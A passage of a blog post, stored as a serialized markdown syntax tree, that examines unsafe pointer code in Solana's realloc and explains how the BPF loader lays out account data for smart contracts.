sol_memset",{"type":25,"tag":271,"props":27333,"children":27334},{"style":13625},[27335],{"type":30,"value":16609},{"type":25,"tag":271,"props":27337,"children":27338},{"class":13593,"line":16832},[27339,27343,27347,27351,27355,27359,27363,27367,27371,27376,27380],{"type":25,"tag":271,"props":27340,"children":27341},{"style":13603},[27342],{"type":30,"value":20806},{"type":25,"tag":271,"props":27344,"children":27345},{"style":14289},[27346],{"type":30,"value":16877},{"type":25,"tag":271,"props":27348,"children":27349},{"style":14289},[27350],{"type":30,"value":26918},{"type":25,"tag":271,"props":27352,"children":27353},{"style":13603},[27354],{"type":30,"value":1860},{"type":25,"tag":271,"props":27356,"children":27357},{"style":13620},[27358],{"type":30,"value":26995},{"type":25,"tag":271,"props":27360,"children":27361},{"style":13625},[27362],{"type":30,"value":27000},{"type":25,"tag":271,"props":27364,"children":27365},{"style":13603},[27366],{"type":30,"value":5632},{"type":25,"tag":271,"props":27368,"children":27369},{"style":13625},[27370],{"type":30,"value":5604},{"type":25,"tag":271,"props":27372,"children":27373},{"style":13598},[27374],{"type":30,"value":27375},"orig_len",{"type":25,"tag":271,"props":27377,"children":27378},{"style":13603},[27379],{"type":30,"value":16195},{"type":25,"tag":271,"props":27381,"children":27382},{"style":13625},[27383],{"type":30,"value":27384},"],\n",{"type":25,"tag":271,"props":27386,"children":27387},{"class":13593,"line":16841},[27388,27393],{"type":25,"tag":271,"props":27389,"children":27390},{"style":16187},[27391],{"type":30,"value":27392},"            0",{"type":25,"tag":271,"props":27394,"children":27395},{"style":13625},[27396],{"type":30,"value":14351},{"type":25,"tag":271,"props":27398,"children":27399},{"class":13593,"line":16907},[27400,27405,27409,27414,27418,27422],{"type":25,"tag":271,"props":27401,"children":27402},{"style":13598},[27403],{"type":30,"value":27404},"            new_len",{"type":25,"tag":271,"props":27406,"children":27407},{"style":13603},[27408],{"type":30,"value":1860},{"type":25,"tag":271,"props":27410,"children":27411},{"style":13620},[27412],{"type":30,"value":27413},"saturating_sub",{"type":25,"tag":271,"props":27415,"children":27416},{"style":13625},[27417],{"type":30,"value":394},{"type":25,"tag":271,"props":27419,"children":27420},{"style":13598},[27421],{"type":30,"value":27375},{"type":25,"tag":271,"props":27423,"children":27424},{"style":13625},[27425],{"type":30,"value":19860},{"type":25,"tag":271,"props":27427,"children":27428},{"class":13593,"line":16915},[27429],{"type":25,"tag":271,"props":27430,"children":27431},{"style":13625},[27432],{"type":30,"value":20865},{"type":25,"tag":271,"props":27434,"children":27435},{"class":13593,"line":16945},[27436],{"type":25,"tag":271,"props":27437,"children":27438},{"style":13625},[27439],{"type":30,"value":16501},{"type":25,"tag":271,"props":27441,"children":27442},{"class":13593,"line":16953},[27443],{"type":25,"tag":271,"props":27444,"children":27445},{"emptyLinePlaceholder":18},[27446],{"type":30,"value":16829},{"type":25,"tag":271,"props":27448,"children":27449},{"class":13593,"line":16984},[27450,27455],{"type":25,"tag":271,"props":27451,"children":27452},{"style":13609},[27453],{"type":30,"value":27454},"    Ok",{"type":25,"tag":271,"props":27456,"children":27457},{"style":13625},[27458],{"type":30,"value":27459},"(())\n",{"type":25,"tag":271,"props":27461,"children":27462},{"class":13593,"line":16992},[27463],{"type":25,"tag":271,"props":27464,"children":27465},{"style":13625},[27466],{"type":30,"value":17058},{"type":25,"tag":26,"props":27468,"children":27469},{},[27470,27472,27478,27480,27485],{"type":30,"value":27471},"Oh. There's ",{"type":25,"tag":264,"props":27473,"children":27475},{"className":27474},[],[27476],{"type":30,"value":27477},"unsafe",{"type":30,"value":27479},". And no bounds check in sight. ",{"type":25,"tag":10281,"props":27481,"children":27482},{},[27483],{"type":30,"value":27484},"And",{"type":30,"value":27486}," pointer math. That doesn't look promising...",{"type":25,"tag":96,"props":27488,"children":27490},{"id":27489},"breaking-down-realloc",[27491,27493],{"type":30,"value":27492},"Breaking down ",{"type":25,"tag":264,"props":27494,"children":27496},{"className":27495},[],[27497],{"type":30,"value":26763},{"type":25,"tag":26,"props":27499,"children":27500},{},[27501,27503,27508],{"type":30,"value":27502},"Let's pick apart this ",{"type":25,"tag":264,"props":27504,"children":27506},{"className":27505},[],[27507],{"type":30,"value":27477},{"type":30,"value":27509}," block, since there's a lot going on here.",{"type":25,"tag":7764,"props":27511,"children":27513},{"className":13586,"code":27512,"language":13585,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[27514],{"type":25,"tag":264,"props":27515,"children":27516},{"__ignoreMap":7},[27517,27525,27612],{"type":25,"tag":271,"props":27518,"children":27519},{"class":13593,"line":13594},[27520],{"type":25,"tag":271,"props":27521,"children":27522},{"style":14385},[27523],{"type":30,"value":27524},"// First set new length in the serialized data\n",{"type":25,"tag":271,"props":27526,"children":27527},{"class":13593,"line":11641},[27528,27532,27536,27540,27544,27548,27552,27556,27560,27564,27568,27572,27576,27580,27584,27588,27592,27596,27600,27604,27608],{"type":25,"tag":271,"props":27529,"children":27530},{"style":14289},[27531],{"type":30,"value":24912},{"type":25,"tag":271,"props":27533,"children":27534},{"style":13598},[27535],{"type":30,"value":26978},{"type":25,"tag":271,"props":27537,"children":27538},{"style":13603},[27539],{"type":30,"value":16155},{"type":25,"tag":271,"props":27541,"children":27542},{"style":14289},[27543],{"type":30,"value":26918},{"type":25,"tag":271,"props":27545,"children":27546},{"style":13603},[27547],{"type":30,"value":1860},{"type":25,"tag":271,"props":27549,"children":27550},{"style":13620},[27551],{"type":30,"value":26995},{"type":25,"tag":271,"props":27553,"children":27554},{"style":13625},[27555],{"type":30,"value":27000},{"type":25,"tag":271,"props":27557,"children":27558},{"style":13603},[27559],{"type":30,"value":16273},{"type":25,"tag":271,"props":27561,"children":27562},{"style":13620},[27563],{"type":30,"value":27009},{"type":25,"tag":271,"props":27565,"children":27566},{"style":13625},[27567],{"type":30,"value":27000},{"type":25,"tag":271,"props":27569,"children":27570},{"style":13603},[27571],{"type":30,"value":1860},{"type":25,"tag":271,"props":27573,"children":27574},{"style":13620},[27575],{"type":30,"value":27022},{"type":25,"tag":271,"props":27577,"children":27578},{"style":13625},[27579],{"type":30,"value":394},{"type":25,"tag":271,"props":27581,"children":27582},{"style":13603},[27583],{"type":30,"value":17459},{"type":25,"tag":271,"props":27585,"children":27586},{"style":16187},[27587],{"type":30,"value":17214},{"type":25,"tag":271,"props":27589,"children":27590},{"style":13625},[27591],{"type":30,"value":14406},{"type":25,"tag":271,"props":27593,"children":27594},{"style":14289},[27595],{"type":30,"value":21962},{"type":25,"tag":271,"props":27597,"children":27598},{"style":13603},[27599],{"type":30,"value":22940},{"type":25,"tag":271,"props":27601,"children":27602},{"style":14289},[27603],{"type":30,"value":16877},{"type":25,"tag":271,"props":27605,"children":27606},{"style":13609},[27607],{"type":30,"value":18991},{"type":25,"tag":271,"props":27609,"children":27610},{"style":13625},[27611],{"type":30,"value":16165},{"type":25,"tag":271,"props":27613,"children":27614},{"class":13593,"line":14354},[27615,27619,27623,27627,27631,27635,27639],{"type":25,"tag":271,"props":27616,"children":27617},{"style":13603},[27618],{"type":30,"value":17702},{"type":25,"tag":271,"props":27620,"children":27621},{"style":13598},[27622],{"type":30,"value":27070},{"type":25,"tag":271,"props":27624,"children":27625},{"style":13603},[27626],{"type":30,"value":16155},{"type":25,"tag":271,"props":27628,"children":27629},{"style":13598},[27630],{"type":30,"value":27079},{"type":25,"tag":271,"props":27632,"children":27633},{"style":14289},[27634],{"type":30,"value":21948},{"type":25,"tag":271,"props":27636,"children":27637},{"style":13609},[27638],{"type":30,"value":18991},{"type":25,"tag":271,"props":27640,"children":27641},{"style":13625},[27642],{"type":30,"value":16165},{"type":25,"tag":26,"props":27644,"children":27645},{},[27646,27651],{"type":25,"tag":264,"props":27647,"children":27649},{"className":27648},[],[27650],{"type":30,"value":26995},{"type":30,"value":27652}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":25,"tag":247,"props":27654,"children":27656},{"id":27655},"bpf-loader-abi",[27657],{"type":30,"value":27658},"BPF Loader ABI",{"type":25,"tag":26,"props":27660,"children":27661},{},[27662,27664,27669,27671,27684],{"type":30,"value":27663},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":25,"tag":264,"props":27665,"children":27667},{"className":27666},[],[27668],{"type":30,"value":26778},{"type":30,"value":27670},"'s entrypoint code - the code that's added when you use the ",{"type":25,"tag":83,"props":27672,"children":27675},{"href":27673,"rel":27674},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[9066],[27676,27682],{"type":25,"tag":264,"props":27677,"children":27679},{"className":27678},[],[27680],{"type":30,"value":27681},"entrypoint!",{"type":30,"value":27683}," macro",{"type":30,"value":359},{"type":25,"tag":7764,"props":27686,"children":27688},{"className":13586,"code":27687,"language":13585,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[27689],{"type":25,"tag":264,"props":27690,"children":27691},{"__ignoreMap":7},[27692,27700,27772,27815,27867,27926,27969,28012,28019],{"type":25,"tag":271,"props":27693,"children":27694},{"class":13593,"line":13594},[27695],{"type":25,"tag":271,"props":27696,"children":27697},{"style":13625},[27698],{"type":30,"value":27699},"#[no_mangle]\n",{"type":25,"tag":271,"props":27701,"children":27702},{"class":13593,"line":11641},[27703,27707,27712,27717,27722,27726,27731,27735,27739,27743,27747,27751,27756,27760,27764,27768],{"type":25,"tag":271,"props":27704,"children":27705},{"style":14289},[27706],{"type":30,"value":14292},{"type":25,"tag":271,"props":27708,"children":27709},{"style":14289},[27710],{"type":30,"value":27711}," unsafe",{"type":25,"tag":271,"props":27713,"children":27714},{"style":14289},[27715],{"type":30,"value":27716}," extern",{"type":25,"tag":271,"props":27718,"children":27719},{"style":17388},[27720],{"type":30,"value":27721}," \"C\"",{"type":25,"tag":271,"props":27723,"children":27724},{"style":14289},[27725],{"type":30,"value":14297},{"type":25,"tag":271,"props":27727,"children":27728},{"style":13620},[27729],{"type":30,"value":27730}," entrypoint",{"type":25,"tag":271,"props":27732,"children":27733},{"style":13625},[27734],{"type":30,"value":394},{"type":25,"tag":271,"props":27736,"children":27737},{"style":13598},[27738],{"type":30,"value":13871},{"type":25,"tag":271,"props":27740,"children":27741},{"style":13603},[27742],{"type":30,"value":359},{"type":25,"tag":271,"props":27744,"children":27745},{"style":13603},[27746],{"type":30,"value":22940},{"type":25,"tag":271,"props":27748,"children":27749},{"style":14289},[27750],{"type":30,"value":16877},{"type":25,"tag":271,"props":27752,"children":27753},{"style":13609},[27754],{"type":30,"value":27755}," u8",{"type":25,"tag":271,"props":27757,"children":27758},{"style":13625},[27759],{"type":30,"value":14406},{"type":25,"tag":271,"props":27761,"children":27762},{"style":13603},[27763],{"type":30,"value":14411},{"type":25,"tag":271,"props":27765,"children":27766},{"style":13609},[27767],{"type":30,"value":18991},{"type":25,"tag":271,"props":27769,"children":27770},{"style":13625},[27771],{"type":30,"value":16431},{"type":25,"tag":271,"props":27773,"children":27774},{"class":13593,"line":14354},[27775,27779,27783,27788,27792,27797,27801,27806,27810],{"type":25,"tag":271,"props":27776,"children":27777},{"style":14289},[27778],{"type":30,"value":16140},{"type":25,"tag":271,"props":27780,"children":27781},{"style":13625},[27782],{"type":30,"value":16213},{"type":25,"tag":271,"props":27784,"children":27785},{"style":13598},[27786],{"type":30,"value":27787},"program_id",{"type":25,"tag":271,"props":27789,"children":27790},{"style":13625},[27791],{"type":30,"value":44},{"type":25,"tag":271,"props":27793,"children":27794},{"style":13598},[27795],{"type":30,"value":27796},"accounts",{"type":25,"tag":271,"props":27798,"children":27799},{"style":13625},[27800],{"type":30,"value":44},{"type":25,"tag":271,"props":27802,"children":27803},{"style":13598},[27804],{"type":30,"value":27805},"instruction_data",{"type":25,"tag":271,"props":27807,"children":27808},{"style":13625},[27809],{"type":30,"value":14406},{"type":25,"tag":271,"props":27811,"children":27812},{"style":13603},[27813],{"type":30,"value":27814},"=\n",{"type":25,"tag":271,"props":27816,"children":27817},{"class":13593,"line":14391},[27818,27823,27827,27831,27836,27840,27845,27849,27854,27858,27862],{"type":25,"tag":271,"props":27819,"children":27820},{"style":14289},[27821],{"type":30,"value":27822},"        unsafe",{"type":25,"tag":271,"props":27824,"children":27825},{"style":13625},[27826],{"type":30,"value":22709},{"type":25,"tag":271,"props":27828,"children":27829},{"style":13603},[27830],{"type":30,"value":23412},{"type":25,"tag":271,"props":27832,"children":27833},{"style":14289},[27834],{"type":30,"value":27835},"crate",{"type":25,"tag":271,"props":27837,"children":27838},{"style":13603},[27839],{"type":30,"value":13617},{"type":25,"tag":271,"props":27841,"children":27842},{"style":13625},[27843],{"type":30,"value":27844},"entrypoint",{"type":25,"tag":271,"props":27846,"children":27847},{"style":13603},[27848],{"type":30,"value":13617},{"type":25,"tag":271,"props":27850,"children":27851},{"style":13620},[27852],{"type":30,"value":27853},"deserialize",{"type":25,"tag":271,"props":27855,"children":27856},{"style":13625},[27857],{"type":30,"value":394},{"type":25,"tag":271,"props":27859,"children":27860},{"style":13598},[27861],{"type":30,"value":13871},{"type":25,"tag":271,"props":27863,"children":27864},{"style":13625},[27865],{"type":30,"value":27866},") };\n",{"type":25,"tag":271,"props":27868,"children":27869},{"class":13593,"line":14400},[27870,27875,27880,27885,27889,27893,27897,27901,27905,27909,27913,27917,27921],{"type":25,"tag":271,"props":27871,"children":27872},{"style":16171},[27873],{"type":30,"value":27874},"    match",{"type":25,"tag":271,"props":27876,"children":27877},{"style":13603},[27878],{"type":30,"value":27879}," $",{"type":25,"tag":271,"props":27881,"children":27882},{"style":13598},[27883],{"type":30,"value":27884},"process_instruction",{"type":25,"tag":271,"props":27886,"children":27887},{"style":13625},[27888],{"type":30,"value":394},{"type":25,"tag":271,"props":27890,"children":27891},{"style":13603},[27892],{"type":30,"value":13632},{"type":25,"tag":271,"props":27894,"children":27895},{"style":13598},[27896],{"type":30,"value":27787},{"type":25,"tag":271,"props":27898,"children":27899},{"style":13625},[27900],{"type":30,"value":44},{"type":25,"tag":271,"props":27902,"children":27903},{"style":13603},[27904],{"type":30,"value":13632},{"type":25,"tag":271,"props":27906,"children":27907},{"style":13598},[27908],{"type":30,"value":27796},{"type":25,"tag":271,"props":27910,"children":27911},{"style":13625},[27912],{"type":30,"value":44},{"type":25,"tag":271,"props":27914,"children":27915},{"style":13603},[27916],{"type":30,"value":13632},{"type":25,"tag":271,"props":27918,"children":27919},{"style":13598},[27920],{"type":30,"value":27805},{"type":25,"tag":271,"props":27922,"children":27923},{"style":13625},[27924],{"type":30,"value":27925},") {\n",{"type":25,"tag":271,"props":27927,"children":27928},{"class":13593,"line":16406},[27929,27934,27939,27944,27948,27952,27956,27960,27964],{"type":25,"tag":271,"props":27930,"children":27931},{"style":13609},[27932],{"type":30,"value":27933},"        Ok",{"type":25,"tag":271,"props":27935,"children":27936},{"style":13625},[27937],{"type":30,"value":27938},"(()) ",{"type":25,"tag":271,"props":27940,"children":27941},{"style":13603},[27942],{"type":30,"value":27943},"=>",{"type":25,"tag":271,"props":27945,"children":27946},{"style":13603},[27947],{"type":30,"value":27879},{"type":25,"tag":271,"props":27949,"children":27950},{"style":14289},[27951],{"type":30,"value":27835},{"type":25,"tag":271,"props":27953,"children":27954},{"style":13603},[27955],{"type":30,"value":13617},{"type":25,"tag":271,"props":27957,"children":27958},{"style":13625},[27959],{"type":30,"value":27844},{"type":25,"tag":271,"props":27961,"children":27962},{"style":13603},[27963],{"type":30,"value":13617},{"type":25,"tag":271,"props":27965,"children":27966},{"style":13625},[27967],{"type":30,"value":27968},"SUCCESS,\n",{"type":25,"tag":271,"props":27970,"children":27971},{"class":13593,"line":16434},[27972,27977,27981,27986,27990,27994,27999,28003,28008],{"type":25,"tag":271,"props":27973,"children":27974},{"style":13609},[27975],{"type":30,"value":27976},"        Err",{"type":25,"tag":271,"props":27978,"children":27979},{"style":13625},[27980],{"type":30,"value":394},{"type":25,"tag":271,"props":27982,"children":27983},{"style":13598},[27984],{"type":30,"value":27985},"error",{"type":25,"tag":271,"props":27987,"children":27988},{"style":13625},[27989],{"type":30,"value":14406},{"type":25,"tag":271,"props":27991,"children":27992},{"style":13603},[27993],{"type":30,"value":27943},{"type":25,"tag":271,"props":27995,"children":27996},{"style":13598},[27997],{"type":30,"value":27998}," error",{"type":25,"tag":271,"props":28000,"children":28001},{"style":13603},[28002],{"type":30,"value":1860},{"type":25,"tag":271,"props":28004,"children":28005},{"style":13620},[28006],{"type":30,"value":28007},"into",{"type":25,"tag":271,"props":28009,"children":28010},{"style":13625},[28011],{"type":30,"value":16636},{"type":25,"tag":271,"props":28013,"children":28014},{"class":13593,"line":16447},[28015],{"type":25,"tag":271,"props":28016,"children":28017},{"style":13625},[28018],{"type":30,"value":16501},{"type":25,"tag":271,"props":28020,"children":28021},{"class":13593,"line":16465},[28022],{"type":25,"tag":271,"props":28023,"children":28024},{"style":13625},[28025],{"type":30,"value":17058},{"type":25,"tag":26,"props":28027,"children":28028},{},[28029,28031,28036,28038,28044,28046,28053,28055,28061,28063,28070],{"type":30,"value":28030},"What we see here is the contract's real entrypoint - it takes a ",{"type":25,"tag":264,"props":28032,"children":28034},{"className":28033},[],[28035],{"type":30,"value":16567},{"type":30,"value":28037}," buffer in from the loader, and calls ",{"type":25,"tag":264,"props":28039,"children":28041},{"className":28040},[],[28042],{"type":30,"value":28043},"solana_program::entrypoint::deserialize",{"type":30,"value":28045},", which then ",{"type":25,"tag":83,"props":28047,"children":28050},{"href":28048,"rel":28049},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[9066],[28051],{"type":30,"value":28052},"parses out",{"type":30,"value":28054}," all the ",{"type":25,"tag":264,"props":28056,"children":28058},{"className":28057},[],[28059],{"type":30,"value":28060},"AccountInfo",{"type":30,"value":28062},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":25,"tag":83,"props":28064,"children":28067},{"href":28065,"rel":28066},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[9066],[28068],{"type":30,"value":28069},"laid out",{"type":30,"value":359},{"type":25,"tag":7764,"props":28072,"children":28074},{"className":13586,"code":28073,"language":13585,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[28075],{"type":25,"tag":264,"props":28076,"children":28077},{"__ignoreMap":7},[28078,28095,28175,28208,28215,28263,28308,28316,28340],{"type":25,"tag":271,"props":28079,"children":28080},{"class":13593,"line":13594},[28081,28086,28090],{"type":25,"tag":271,"props":28082,"children":28083},{"style":13625},[28084],{"type":30,"value":28085},"#[allow(clippy",{"type":25,"tag":271,"props":28087,"children":28088},{"style":13603},[28089],{"type":30,"value":13617},{"type":25,"tag":271,"props":28091,"children":28092},{"style":13625},[28093],{"type":30,"value":28094},"cast_ptr_alignment)]\n",{"type":25,"tag":271,"props":28096,"children":28097},{"class":13593,"line":11641},[28098,28102,28107,28111,28115,28119,28123,28127,28131,28135,28139,28143,28147,28151,28155,28159,28163,28167,28171],{"type":25,"tag":271,"props":28099,"children":28100},{"style":14289},[28101],{"type":30,"value":24912},{"type":25,"tag":271,"props":28103,"children":28104},{"style":13598},[28105],{"type":30,"value":28106}," data_len",{"type":25,"tag":271,"props":28108,"children":28109},{"style":13603},[28110],{"type":30,"value":16155},{"type":25,"tag":271,"props":28112,"children":28113},{"style":13603},[28114],{"type":30,"value":22940},{"type":25,"tag":271,"props":28116,"children":28117},{"style":13625},[28118],{"type":30,"value":394},{"type":25,"tag":271,"props":28120,"children":28121},{"style":13598},[28122],{"type":30,"value":13871},{"type":25,"tag":271,"props":28124,"children":28125},{"style":13603},[28126],{"type":30,"value":1860},{"type":25,"tag":271,"props":28128,"children":28129},{"style":13620},[28130],{"type":30,"value":22761},{"type":25,"tag":271,"props":28132,"children":28133},{"style":13625},[28134],{"type":30,"value":394},{"type":25,"tag":271,"props":28136,"children":28137},{"style":13598},[28138],{"type":30,"value":27022},{"type":25,"tag":271,"props":28140,"children":28141},{"style":13625},[28142],{"type":30,"value":14406},{"type":25,"tag":271,"props":28144,"children":28145},{"style":14289},[28146],{"type":30,"value":21962},{"type":25,"tag":271,"props":28148,"children":28149},{"style":13603},[28150],{"type":30,"value":22940},{"type":25,"tag":271,"props":28152,"children":28153},{"style":14289},[28154],{"type":30,"value":22778},{"type":25,"tag":271,"props":28156,"children":28157},{"style":13609},[28158],{"type":30,"value":18991},{"type":25,"tag":271,"props":28160,"children":28161},{"style":13625},[28162],{"type":30,"value":14406},{"type":25,"tag":271,"props":28164,"children":28165},{"style":14289},[28166],{"type":30,"value":21962},{"type":25,"tag":271,"props":28168,"children":28169},{"style":13609},[28170],{"type":30,"value":26854},{"type":25,"tag":271,"props":28172,"children":28173},{"style":13625},[28174],{"type":30,"value":16165},{"type":25,"tag":271,"props":28176,"children":28177},{"class":13593,"line":14354},[28178,28182,28187,28192,28196,28200,28204],{"type":25,"tag":271,"props":28179,"children":28180},{"style":13598},[28181],{"type":30,"value":27022},{"type":25,"tag":271,"props":28183,"children":28184},{"style":13603},[28185],{"type":30,"value":28186}," +=",{"type":25,"tag":271,"props":28188,"children":28189},{"style":13620},[28190],{"type":30,"value":28191}," size_of",{"type":25,"tag":271,"props":28193,"children":28194},{"style":13603},[28195],{"type":30,"value":13617},{"type":25,"tag":271,"props":28197,"children":28198},{"style":13625},[28199],{"type":30,"value":14307},{"type":25,"tag":271,"props":28201,"children":28202},{"style":13609},[28203],{"type":30,"value":21164},{"type":25,"tag":271,"props":28205,"children":28206},{"style":13625},[28207],{"type":30,"value":21572},{"type":25,"tag":271,"props":28209,"children":28210},{"class":13593,"line":14391},[28211],{"type":25,"tag":271,"props":28212,"children":28213},{"emptyLinePlaceholder":18},[28214],{"type":30,"value":16829},{"type":25,"tag":271,"props":28216,"children":28217},{"class":13593,"line":14400},[28218,28222,28227,28231,28236,28240,28245,28250,28254,28258],{"type":25,"tag":271,"props":28219,"children":28220},{"style":14289},[28221],{"type":30,"value":24912},{"type":25,"tag":271,"props":28223,"children":28224},{"style":13598},[28225],{"type":30,"value":28226}," data",{"type":25,"tag":271,"props":28228,"children":28229},{"style":13603},[28230],{"type":30,"value":16155},{"type":25,"tag":271,"props":28232,"children":28233},{"style":13609},[28234],{"type":30,"value":28235}," Rc",{"type":25,"tag":271,"props":28237,"children":28238},{"style":13603},[28239],{"type":30,"value":13617},{"type":25,"tag":271,"props":28241,"children":28242},{"style":13620},[28243],{"type":30,"value":28244},"new",{"type":25,"tag":271,"props":28246,"children":28247},{"style":13625},[28248],{"type":30,"value":28249},"(RefCell",{"type":25,"tag":271,"props":28251,"children":28252},{"style":13603},[28253],{"type":30,"value":13617},{"type":25,"tag":271,"props":28255,"children":28256},{"style":13620},[28257],{"type":30,"value":28244},{"type":25,"tag":271,"props":28259,"children":28260},{"style":13625},[28261],{"type":30,"value":28262},"({\n",{"type":25,"tag":271,"props":28264,"children":28265},{"class":13593,"line":16406},[28266,28271,28275,28279,28283,28287,28291,28295,28300,28304],{"type":25,"tag":271,"props":28267,"children":28268},{"style":13620},[28269],{"type":30,"value":28270},"    from_raw_parts_mut",{"type":25,"tag":271,"props":28272,"children":28273},{"style":13625},[28274],{"type":30,"value":394},{"type":25,"tag":271,"props":28276,"children":28277},{"style":13598},[28278],{"type":30,"value":13871},{"type":25,"tag":271,"props":28280,"children":28281},{"style":13603},[28282],{"type":30,"value":1860},{"type":25,"tag":271,"props":28284,"children":28285},{"style":13620},[28286],{"type":30,"value":22761},{"type":25,"tag":271,"props":28288,"children":28289},{"style":13625},[28290],{"type":30,"value":394},{"type":25,"tag":271,"props":28292,"children":28293},{"style":13598},[28294],{"type":30,"value":27022},{"type":25,"tag":271,"props":28296,"children":28297},{"style":13625},[28298],{"type":30,"value":28299},"), ",{"type":25,"tag":271,"props":28301,"children":28302},{"style":13598},[28303],{"type":30,"value":26927},{"type":25,"tag":271,"props":28305,"children":28306},{"style":13625},[28307],{"type":30,"value":16299},{"type":25,"tag":271,"props":28309,"children":28310},{"class":13593,"line":16434},[28311],{"type":25,"tag":271,"props":28312,"children":28313},{"style":13625},[28314],{"type":30,"value":28315},"}));\n",{"type":25,"tag":271,"props":28317,"children":28318},{"class":13593,"line":16447},[28319,28323,28327,28331,28335],{"type":25,"tag":271,"props":28320,"children":28321},{"style":13598},[28322],{"type":30,"value":27022},{"type":25,"tag":271,"props":28324,"children":28325},{"style":13603},[28326],{"type":30,"value":28186},{"type":25,"tag":271,"props":28328,"children":28329},{"style":13598},[28330],{"type":30,"value":28106},{"type":25,"tag":271,"props":28332,"children":28333},{"style":13603},[28334],{"type":30,"value":22025},{"type":25,"tag":271,"props":28336,"children":28337},{"style":13625},[28338],{"type":30,"value":28339}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":25,"tag":271,"props":28341,"children":28342},{"class":13593,"line":16465},[28343,28347,28351,28355,28359,28363,28367,28371,28375,28379,28383,28388,28393],{"type":25,"tag":271,"props":28344,"children":28345},{"style":13598},[28346],{"type":30,"value":27022},{"type":25,"tag":271,"props":28348,"children":28349},{"style":13603},[28350],{"type":30,"value":28186},{"type":25,"tag":271,"props":28352,"children":28353},{"style":13625},[28354],{"type":30,"value":16213},{"type":25,"tag":271,"props":28356,"children":28357},{"style":13598},[28358],{"type":30,"value":27022},{"type":25,"tag":271,"props":28360,"children":28361},{"style":14289},[28362],{"type":30,"value":21948},{"type":25,"tag":271,"props":28364,"children":28365},{"style":13603},[28366],{"type":30,"value":22940},{"type":25,"tag":271,"props":28368,"children":28369},{"style":14289},[28370],{"type":30,"value":22778},{"type":25,"tag":271,"props":28372,"children":28373},{"style":13609},[28374],{"type":30,"value":27755},{"type":25,"tag":271,"props":28376,"children":28377},{"style":13625},[28378],{"type":30,"value":440},{"type":25,"tag":271,"props":28380,"children":28381},{"style":13603},[28382],{"type":30,"value":1860},{"type":25,"tag":271,"props":28384,"children":28385},{"style":13620},[28386],{"type":30,"value":28387},"align_offset",{"type":25,"tag":271,"props":28389,"children":28390},{"style":13625},[28391],{"type":30,"value":28392},"(BPF_ALIGN_OF_U128); ",{"type":25,"tag":271,"props":28394,"children":28395},{"style":14385},[28396],{"type":30,"value":28397},"// padding\n",{"type":25,"tag":26,"props":28399,"children":28400},{},[28401,28403,28408,28410,28416,28418,28429,28431,28436,28438,28444,28446,28452,28454,28460],{"type":30,"value":28402},"In English, we have the length of the data, as a ",{"type":25,"tag":264,"props":28404,"children":28406},{"className":28405},[],[28407],{"type":30,"value":21164},{"type":30,"value":28409},", followed immediately by the data, and an additional ",{"type":25,"tag":264,"props":28411,"children":28413},{"className":28412},[],[28414],{"type":30,"value":28415},"MAX_PERMITTED_DATA_INCREASE",{"type":30,"value":28417}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":25,"tag":83,"props":28419,"children":28422},{"href":28420,"rel":28421},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[9066],[28423],{"type":25,"tag":264,"props":28424,"children":28426},{"className":28425},[],[28427],{"type":30,"value":28428},"slice::from_raw_parts_mut",{"type":30,"value":28430},") - slices are how Rust represents a, well, ",{"type":25,"tag":10281,"props":28432,"children":28433},{},[28434],{"type":30,"value":28435},"slice",{"type":30,"value":28437}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":25,"tag":264,"props":28439,"children":28441},{"className":28440},[],[28442],{"type":30,"value":28443},"Rc\u003CRefCell\u003CT>>",{"type":30,"value":28445},", giving us the unwieldy-looking type of ",{"type":25,"tag":264,"props":28447,"children":28449},{"className":28448},[],[28450],{"type":30,"value":28451},"AccountInfo.data",{"type":30,"value":28453},": ",{"type":25,"tag":264,"props":28455,"children":28457},{"className":28456},[],[28458],{"type":30,"value":28459},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":30,"value":1860},{"type":25,"tag":26,"props":28462,"children":28463},{},[28464,28466,28473],{"type":30,"value":28465},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":25,"tag":83,"props":28467,"children":28470},{"href":28468,"rel":28469},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[9066],[28471],{"type":30,"value":28472},"cloning the referenced account",{"type":30,"value":359},{"type":25,"tag":7764,"props":28475,"children":28477},{"className":13586,"code":28476,"language":13585,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[28478],{"type":25,"tag":264,"props":28479,"children":28480},{"__ignoreMap":7},[28481,28489],{"type":25,"tag":271,"props":28482,"children":28483},{"class":13593,"line":13594},[28484],{"type":25,"tag":271,"props":28485,"children":28486},{"style":14385},[28487],{"type":30,"value":28488},"// Duplicate account, clone the 